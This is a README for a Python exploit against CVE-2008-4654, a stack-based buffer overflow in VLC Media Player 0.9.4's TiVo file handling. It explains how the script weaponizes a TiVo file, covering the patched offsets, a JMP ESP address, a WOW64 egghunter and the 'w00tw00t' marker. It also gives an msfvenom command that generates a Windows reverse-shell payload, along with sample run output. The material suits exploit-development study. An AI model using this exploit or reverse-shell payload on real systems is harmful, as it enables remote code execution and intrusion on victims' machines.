CVE-2008-4654

A fully functional exploit for the stack-based buffer overflow vulnerability CVE-2008-4654 in VideoLan’s VLC Media Player 0.9.4 when processing TiVo files. It targets a 32-bit binary running on a 64-bit Windows system and uses a WOW64 egghunter to bypass limited stack space.

Usage

Update the Script:

• Replace the placeholder buf = b'[...]' in the script with your own shellcode (e.g., from msfvenom).
• Optionally adjust the EGG_HUNTER_WOW64 shellcode if you want a different tag or have a custom egghunter.

python .\CVE-2008-4654.py --help

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

usage: CVE-2008-4654.py [-h] --input INPUT --output OUTPUT

Transform a given TiVo file into a weapon with predefined shellcode.

options:
  -h, --help       show this help message and exit
  --input INPUT    Path to the input TiVo file to be weaponized.
  --output OUTPUT  Path where the modified (weaponized) TiVo file will be saved.

How It Works

• The script searches for a specific byte pattern (TIVO_PES_FILEID) in the TiVo file.
• It overwrites a 4-byte field (20 bytes after the pattern) with b"\x00\x00\x00\xff", which sets up the out-of-bounds read leading to a stack overflow.
• It then replaces another region (92 bytes after TIVO_PES_FILEID) with a custom payload.
• The payload includes:
  • A JMP ESP address that directs execution to the stack.
  • A WOW64-specific egghunter that scans memory for the marker w00tw00t.
  • A large user-defined shellcode payload (the second stage) placed after the marker, beyond the limited stack space.
• When VLC processes the modified TiVo file, it eventually triggers the overflow and executes the egghunter. The egghunter finds the full shellcode and runs it, bypassing stack size limitations.

Example

Payload Generation

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.150 LPORT=6666 -a x86 -f python -b '\x00'

TiVo File Creation

• Replace the placeholder buf = b'[...]' with the previously created shellcode.
• Download a sample TiVo file from https://samples.mplayerhq.hu/TiVo/.

PS C:\ > python .\CVE-2008-4654.py --input .\test.ty --output .\hazard.ty

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

[+] Found TIVO_PES_FILEID at offset 0x300000.
[+] Replaced 4 bytes at offset 0x300014 with 0x000000ff.
[+] Replaced 685 bytes at offset 0x30005c.
[+] Successfully weaponized: .\hazard.ty

Notes

• The exploit only works on x64 Windows because of the WOW64 egghunter. A pure x86 approach would require a standard egghunter suitable for 32-bit systems.
• There are no major bad characters besides \x00 for this specific vector, simplifying payload generation.
• For a deeper look at egghunting and WOW64 intricacies, check out Corelan’s WOW64 Egghunter article and Matt (Skape) Millers paper.

Resources

• https://nostarch.com/bughunter
• https://nvd.nist.gov/vuln/detail/CVE-2008-4654
• https://hexastrike.com/resources/blog/exploit-development/vlc-stack-based-buffer-overflow-exploiting-cve-2008-4654-with-a-wow64-egghunter/
• https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/
• https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
• https://samples.mplayerhq.hu/TiVo/